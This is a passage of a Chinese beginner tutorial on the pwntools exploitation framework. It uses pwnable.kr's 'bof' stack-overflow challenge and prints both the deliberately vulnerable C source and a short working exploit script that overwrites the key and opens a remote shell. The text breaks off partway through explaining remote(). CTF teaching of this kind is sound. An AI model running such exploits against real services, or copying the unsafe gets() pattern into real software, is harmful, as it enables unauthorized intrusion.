python3-pwntools教程_一步一步学pwntools

刚刚注册看雪,就来水一篇文章。

本来想发发我之前CTF的writeups,不过数量有点多,而且网上也有很多质量不错的wp,就发回之前写的pwntools新手教程。网上纯新手教程比较少,一般都是直接调用api,这篇主要是想给新手对pwntool一个更整体的认识。原文是我用英文写的,如果翻译的不好,请见谅。

英语原文:

下面开始正文:

pwntools是一个二进制利用框架。官方文档提供了详细的api规范。然而目前并没有一个很好的新手教程。因此我用了我过去的几篇writeup。由于本文只是用来介绍pwntools使用方法,我不会过于详细的讲解各种二进制漏洞攻击技术。

Pwntools的“Hello World”

栈溢出无疑是二进制攻击的“Hello World”。这里,我们用pwnable.kr的bof来进行展示。

#include

#include

#include

void func(int key){

char overflowme[32];

printf("overflow me : ");

gets(overflowme); // smash me!

if(key == 0xcafebabe){

system("/bin/sh");

}

else{

printf("Nah..\n");

}

}

int main(int argc, char* argv[]){

func(0xdeadbeef);

return 0;

}

pwntools脚本:

from pwn import *

c = remote("pwnable.kr", 9000)

c.sendline("AAAA" * 13 + p32(0xcafebabe))

c.interactive()

源码简洁明了,我们只需要将key改写成0xcafebabe。

现在我们重新看回pwntools脚本。第一行将pwntools提供的工具引入到我们的python上下文中。

remote("一个域名或者ip地址", 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c)。remote对象主要用来

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值